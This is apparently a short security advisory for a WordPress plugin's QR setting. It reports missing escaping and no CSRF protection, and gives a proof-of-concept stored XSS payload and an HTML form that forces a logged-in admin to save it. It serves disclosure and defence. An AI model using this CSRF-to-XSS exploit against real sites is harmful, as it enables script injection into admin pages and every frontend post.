The plugin does not sanitise or escape its QR settings, nor has any CSRF check in place, allowing attackers to make a logged in admin change the settings and perform Cross-Site Scripting attacks.
Put the following payload in the QR setting: "><script>alert(/XSS/)</script>
The XSS will be triggered in the plugin's setting page, as well as all frontend posts.
via CSRF:
<html>
<body>
<form action="https://example.com/wp-admin/options-general.php?page=upload_wechat_QR" method="POST">
<input type="hidden" name="wechatQR" value='"><script>alert(/XSS/)</script>' />
<input type="submit" value="Submit request" />
</form>
</body>
</html>